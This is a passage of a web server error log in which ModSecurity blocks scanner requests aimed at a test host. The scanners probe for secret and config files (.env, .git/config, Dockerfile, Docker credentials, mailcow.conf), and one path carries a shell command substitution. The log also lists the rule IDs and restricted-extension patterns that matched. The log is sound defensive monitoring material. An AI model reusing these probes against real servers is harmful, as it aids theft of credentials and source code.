$b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaJSyfdKlFv72K9hppU3RgAAAAI&quot;], referer: https://pms.test.indacotrentino.com
[Sat Feb 28 03:28:25.789358 2026] [:error] [pid 2378305] [client 85.11.167.4:38046] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaJSyfdKlFv72K9hppU3RgAAAAI&quot;], referer: https://pms.test.indacotrentino.com
[Sat Feb 28 03:28:25.789537 2026] [:error] [pid 2378305] [client 85.11.167.4:38046] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaJSyfdKlFv72K9hppU3RgAAAAI&quot;], referer: https://pms.test.indacotrentino.com
[Sat Feb 28 22:15:23.810127 2026] [:error] [pid 2385359] [client 204.76.203.25:43118] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaNa65v7nx7Xa6lKYweQPwAAAAw&quot;]
[Sat Feb 28 22:15:23.810483 2026] [:error] [pid 2385359] [client 204.76.203.25:43118] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaNa65v7nx7Xa6lKYweQPwAAAAw&quot;]
[Sat Feb 28 22:15:23.810697 2026] [:error] [pid 2385359] [client 204.76.203.25:43118] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aaNa65v7nx7Xa6lKYweQPwAAAAw&quot;]
[Sun Mar 01 05:23:54.920303 2026] [:error] [pid 2400022] [client 195.178.110.157:47710] [client 195.178.110.157] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaO_Wo03pg4df9PPalFmZwAAAAE&quot;]
[Sun Mar 01 05:23:54.920629 2026] [:error] [pid 2400022] [client 195.178.110.157:47710] [client 195.178.110.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaO_Wo03pg4df9PPalFmZwAAAAE&quot;]
[Sun Mar 01 05:23:54.920795 2026] [:error] [pid 2400022] [client 195.178.110.157:47710] [client 195.178.110.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaO_Wo03pg4df9PPalFmZwAAAAE&quot;]
[Sun Mar 01 14:44:29.110260 2026] [:error] [pid 2400021] [client 34.11.179.117:33148] [client 34.11.179.117] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaRCvaby3IsYOctOxCmOvAAAAAA&quot;]
[Sun Mar 01 14:44:29.110554 2026] [:error] [pid 2400021] [client 34.11.179.117:33148] [client 34.11.179.117] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaRCvaby3IsYOctOxCmOvAAAAAA&quot;]
[Sun Mar 01 14:44:29.110738 2026] [:error] [pid 2400021] [client 34.11.179.117:33148] [client 34.11.179.117] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaRCvaby3IsYOctOxCmOvAAAAAA&quot;]
[Sun Mar 01 15:43:48.068373 2026] [:error] [pid 2400038] [client 34.11.145.168:37886] [client 34.11.145.168] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaRQpP6okG7BJFjW-txBYwAAAAU&quot;]
[Sun Mar 01 15:43:48.068675 2026] [:error] [pid 2400038] [client 34.11.145.168:37886] [client 34.11.145.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaRQpP6okG7BJFjW-txBYwAAAAU&quot;]
[Sun Mar 01 15:43:48.068878 2026] [:error] [pid 2400038] [client 34.11.145.168:37886] [client 34.11.145.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaRQpP6okG7BJFjW-txBYwAAAAU&quot;]
[Sun Mar 01 20:25:33.889968 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /var/task/package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/task/package.json&quot;] [unique_id &quot;aaSSreWvNlascZsmhrI3rwAAAAY&quot;]
[Sun Mar 01 20:25:33.890246 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/task/package.json&quot;] [unique_id &quot;aaSSreWvNlascZsmhrI3rwAAAAY&quot;]
[Sun Mar 01 20:25:33.890431 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/task/package.json&quot;] [unique_id &quot;aaSSreWvNlascZsmhrI3rwAAAAY&quot;]
[Sun Mar 01 20:25:33.912737 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /app/package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/package.json&quot;] [unique_id &quot;aaSSreWvNlascZsmhrI3sAAAAAY&quot;]
[Sun Mar 01 20:25:33.912969 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/package.json&quot;] [unique_id &quot;aaSSreWvNlascZsmhrI3sAAAAAY&quot;]
[Sun Mar 01 20:25:33.913146 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/package.json&quot;] [unique_id &quot;aaSSreWvNlascZsmhrI3sAAAAAY&quot;]
[Sun Mar 01 20:25:33.935465 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /$(pwd)/package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/package.json&quot;] [unique_id &quot;aaSSreWvNlascZsmhrI3sQAAAAY&quot;]
[Sun Mar 01 20:25:33.935706 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/package.json&quot;] [unique_id &quot;aaSSreWvNlascZsmhrI3sQAAAAY&quot;]
[Sun Mar 01 20:25:33.935849 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/package.json&quot;] [unique_id &quot;aaSSreWvNlascZsmhrI3sQAAAAY&quot;]
[Sun Mar 01 20:25:34.234986 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/mailcow-dockerized/mailcow.conf&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3vgAAAAY&quot;]
[Sun Mar 01 20:25:34.235589 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/mailcow-dockerized/mailcow.conf&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3vgAAAAY&quot;]
[Sun Mar 01 20:25:34.235811 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/mailcow-dockerized/mailcow.conf&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3vgAAAAY&quot;]
[Sun Mar 01 20:25:34.258307 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3vwAAAAY&quot;]
[Sun Mar 01 20:25:34.258639 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3vwAAAAY&quot;]
[Sun Mar 01 20:25:34.258875 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3vwAAAAY&quot;]
[Sun Mar 01 20:25:34.327784 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3wgAAAAY&quot;]
[Sun Mar 01 20:25:34.328120 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3wgAAAAY&quot;]
[Sun Mar 01 20:25:34.328350 2026] [:error] [pid 2400765] [client 185.177.72.30:5844] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aaSSruWvNlascZsmhrI3wgAAAAY&quot;]
